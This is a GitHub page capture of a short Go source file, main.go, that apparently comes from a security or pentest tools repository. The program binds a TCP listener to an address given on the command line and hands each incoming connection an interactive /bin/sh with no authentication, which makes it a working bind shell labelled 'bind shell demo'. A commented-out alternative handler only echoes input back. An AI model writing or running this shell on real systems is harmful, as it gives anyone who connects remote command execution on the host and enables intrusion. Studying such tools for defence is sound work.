-
Notifications
You must be signed in to change notification settings - Fork 191
/
main.go
59 lines (50 loc) · 1015 Bytes
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package main
import (
"fmt"
"net"
"os"
"os/exec"
"log"
)
func main() {
var addr string
if len(os.Args) != 2 {
fmt.Println("Usage: " + os.Args[0] + " <bindAddress>")
fmt.Println("Example: " + os.Args[0] + " 0.0.0.0:9999")
os.Exit(1)
}
addr = os.Args[1]
listener, err := net.Listen("tcp", addr)
if err != nil {
log.Fatal("Error connecting. ", err)
}
for {
conn, err := listener.Accept()
if err != nil {
log.Println("accepting connection err: ", err)
}
go handleConnection(conn)
//go handleConnectionDemo(conn)
}
}
func handleConnection(conn net.Conn) {
var shell = "/bin/sh"
_, _ = conn.Write([]byte("bind shell demo\n"))
command := exec.Command(shell)
command.Env = os.Environ()
command.Stdin = conn
command.Stdout = conn
command.Stderr = conn
_ = command.Run()
}
func handleConnectionDemo(conn net.Conn) {
defer conn.Close()
buff := make([]byte, 1024)
for {
n, err := conn.Read(buff[:])
if err != nil {
continue
}
_, err = conn.Write(buff[:n])
}
}